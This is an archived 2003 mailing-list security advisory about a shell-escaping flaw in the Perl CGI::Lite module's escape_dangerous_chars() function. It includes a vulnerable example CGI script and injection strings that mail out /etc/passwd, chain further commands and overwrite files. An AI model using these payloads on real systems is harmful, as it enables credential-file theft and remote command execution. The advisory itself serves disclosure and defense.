[VulnWatch] Security bug in CGI::Lite::escape_dangerous_chars() function

From: Ronald F. Guilmette (rfgat_private)
Date: Tue Feb 11 2003 - 10:40:59 PST

  • Next message: Mandrake Linux Security Team: "MDKSA-2002:062-1 - Updated postgresql packages fix various buffer overflows"

    SUBJECT
    	Security bug in CGI::Lite::escape_dangerous_chars() function, part
    	of the CGI::Lite 2.0 package, and earlier revisions thereof.
    
    SUMMARY
    	The CGI::Lite::escape_dangerous_chars() function fails to escape
    	the entire set of special characters that may have significance
    	to the underlying shell command processor.  When the function is
    	used from within a web CGI script which processes arbitrary user
    	input from some HTML form, an attacker may be able to read and/or
    	write some or all local files and may be able to obtain shell-
    	level access to the attacked web server.
    
    SCOPE
    	Any and all UNIX and/or Linux systems which incorporate the Perl
    	CGI::Lite module, or onto which this module has been installed.
    
    	It appears likely that any/all MS Windows systems onto which the
    	Perl CGI::Lite module has been installed may also be affected,
    	however the author of this advisory HAS NOT verified that.
    
    IMPACT
    	If the CGI::Lite::escape_dangerous_chars() function is used within
    	(for example) a web CGI script, a remote attacker may be able to
    	read and/or write local files on the attacked web server and/or
    	may be able to gain shell-level access to the attacked web server,
    	via the CGI script, as the user-id under which the CGI script is
    	executed (typically, but not always the `nobody' user).
    
    	The potential exists for remote root compromise (or other privileged
    	access) if a CGI script using CGI::Lite::escape_dangerous_chars() is
    	installed as set-uid (root) or set-gid.
    
    DISCUSSION
    	Although poorly documented, the CGI::Lite::escape_dangerous_chars()
    	function appears to be a function whose purpose is to modify an
    	input character string in a way so that ``dangerous'' characters
    	which might otherwise have special significance to an underlying
    	shell command processor will each be preceded by a backslash
    	(escape) character in the resulting output string.  The intent is
    	clearly to convert possibly dangerous user input strings into
    	benign forms that, when provided as command line arguments to an
    	underlying shell command processor, will not have any undesirable
    	and/or unanticipated effects.  (The classical example is the semi-
    	colon character, which acts as a command separator for most UNIX
    	and/or Linux shell command processors.)
    
    	It is reasonable to believe that CGI::Lite::escape_dangerous_chars()
    	has, in all probability, been used for exactly this purpose (i.e.
    	rendering user input strings ``harmless'' in advance of their being
    	provided, as arguments, to an underlying shell processor) in many
    	existing Perl CGI scripts.
    
    	Unfortunately, CGI::Lite::escape_dangerous_chars() fails to escape
    	many of the characters mentioned as possibly dangerous characters
    	in the WWW security FAQ (Question 7), specifically:
    
    		\  -  backslash
    		?  -  question mark
    		~  -  tilde
    		^  -  carat
    		\n -  newline
    		\r -  carriage return
    
    	Note that all or most of these character _do_ in fact have special
    	meaning, when presented as parts of command line arguments to
    	various UNIX and/or Linux shell command processors (and, I suspect,
    	probably MS Windows shell command line processors also).
    
    	Below is a trivially simple example of how this security flaw can
    	cause a problem, in practice:
    
    	=====================================================================
    	#!/usr/bin/perl -w
    
    	use strict;
    	use CGI::Lite;
    
    	my $cgi = new CGI::Lite;
    	my %form = $cgi->parse_form_data;
    	my $recipient = $form{'recipient'};
    
    	my $message = "From: sender\nSubject: Hello\n\nHello my friend!\n\n";
    
    	$recipient = escape_dangerous_chars ($recipient);
    
    	open (SM, "|/usr/sbin/sendmail -f rfg $recipient");
    	print SM $message;
    	close SM;
    
    	print "Content-Type: text/html\n\n";
    	print "<HTML>\n";
    	print "<HEAD></HEAD>\n";
    	print "<BODY>\n";
    	print "Thank you.  Your request has been processed\n";
    	print "</BODY>\n";
    	print "</HTML>\n";
    	=====================================================================
    
    	The Perl CGI script above might be constructed to act as the back-end
    	(CGI) handler for a simple web page that allows a web visitor to enter
    	his/her e-mail address into a text field on the form, and thereby
    	trigger the automated sending of some pre-canned (or dynamically
    	computed) e-mail message to the user-supplied e-mail address.
    	
    	Note that the escape_dangerous_chars function is used to ``sanitize''
    	the user-supplied input string before it is used as an argument to
    	the Perl open function.
    
    	Unfortunately, the fact that escape_dangerous_chars fails to properly
    	backslash-escape any backslash characters contained in its input string
    	has very serious security consequences for the simple CGI script shown
    	above.  Consider what would happen if a web visitor entered the string:
    
    	attackerat_private \</etc/passwd
    	
    	Note that after escape_dangerous_chars is applied to this user input,
    	the resulting string will be
    	
    	attackerat_private \\</etc/passwd
    	
    	and that exact string will be passed to the underlying shell command
    	processor via the Perl open call.
    
    	The unfortunate result of this sequence of events would be that a
    	copy of the local password file would be e-mailed, both to
    	<attackerat_private> and also to the (almost certainly non-existent)
    	local user whose user-id is a single backslash character.  (Most
    	UNIX/Linux shells will see the \\ as a single backslash-escaped
    	backslash character.  That single backslash character will then
    	be treated as being just another member of the list of destination
    	e-mail addresses for the outgoing e-mail message by sendmail.)
    	
    	In this example, the account, if any, to which e-mail addresses to the
    	(non-existent?) local user-id '\' is directed will vary, depending
    	upon whether one is using ``real'' Sendmail or, as I do, a mostly
    	compatible Sendmail clone (Postfix).  It may also depend, of course,
    	on how exactly the local mail server has been configured.  E-mail
    	sent to the local user '\' may in some cases be automatically re-
    	directed to the `nobody' account, which is to say to /dev/null, in
    	which case no local user or administrator would have any idea that
    	anything untoward or undesirable had even taken place.
    
    	Regardless of where the _second_ copy of the e-mail message goes
    	however, the damage has already been done... <attackerat_private>
    	_will_ be e-mailed a copy of the local password file... or any other
    	attacker-selected file residing on the exploited system.
    	
    	Other similar (but perhaps even more damaging) kinds of exploits are
    	also possible, for example:
    	
    	attackerat_private\|other-command
    	
    	or perhaps:
    	
    	attackerat_private\;other-command
    	
    	where `other-command' is `xterm' followed by a set of arguments needed
    	to start up a remotely-accessible xterm window.  Also, depending on
    	permissions, local files on the exploited machine could be created or
    	overwritten, e.g. via:
    	
    	attackerat_private\>/tmp/new-file
    	attackerat_private\>/tmp/unprotected-file
    	
    CONCLUSION
    	It is clear that CGI::Lite::escape_dangerous_chars fails to properly
    	backslash-escape backslash characters themselves, and other characters
    	that may have special significance to the underlying shell command
    	processor, when such characters are present in the input string.
    
    	It is also clear that this failure can lead, and probably already
    	has led, in many cases, to trivially-exploitable CGI scripts via
    	which remote attackers can read files, write files, create files,
    	and probably even obtain a remote shell access on the exploited
    	target system(s).
    	
    	Note that that even if a CGI script using escape_dangerous_chars goes
    	to the additional trouble of deleting all whitespace characters from
    	user-supplied HTML form text field values (e.g. via s/\s//g) in ad-
    	dition to applying escape_dangerous_chars to sanitize the input, the
    	elimination of whitespace characters is quite definitely NOT sufficient
    	to prevent all possible exploits, as illustrated in the examples above.
    
    FIX
    	One possible fix for this problem is simple and obvious. The
    	escape_dangerous_chars could be hacked to include, in the set of
    	characters that it will escape, the backslash character and other
    	special characters from the complete set of ``dangerous'' characters
    	as documented in the WWW Security FAQ.  (A patch which effects this
    	change is available from the author of this advisory upon request.)
    
    	The advisability of this specific ``quick and dirty'' fix has been
    	questioned by multiple parties however.  (Some say that it would
    	better to list the set of characters which are safe to NOT escape,
    	and then just have the function escape every character that is NOT
    	in that ``safe'' character set.)
    
    ADVISORY AUTHOR
    	Ronald F. Guilmette <rfgat_private>
    
    ADVISIORY DATE
    	February 11, 2003
    
    DISCLOSURE HISTORY
    	Multiple attempts were made to advise both the current maintainer of
    	the CGI::Lite module (b.d.lowat_private) and also the administrator
    	of the CPAN Perl archive web site (cpanat_private) beginning on
    	January 10th, 2003, regarding this security bug/issue.  To the
    	present date, no response of any kind was received from ether party.
    
    	CERT (cerg.org) was advised of the details of this security issue
    	on January 22nd, 2003, and responded that they would notify and
    	canvas their affiliated software vendors on this issue.  As of
    	this writing, CERT has not provided any indication that any of
    	their affiliated software vendors are affected by this issue.
    
    	<securityat_private> was also notified in January 22nd, 2003.
    	A representative of RedHat responded that RedHat is not affected
    	by this security issue, but promised to notify other relevant
    	software vendors of this issue.
    



    This archive was generated by hypermail 2b30 : Tue Feb 11 2003 - 15:13:20 PST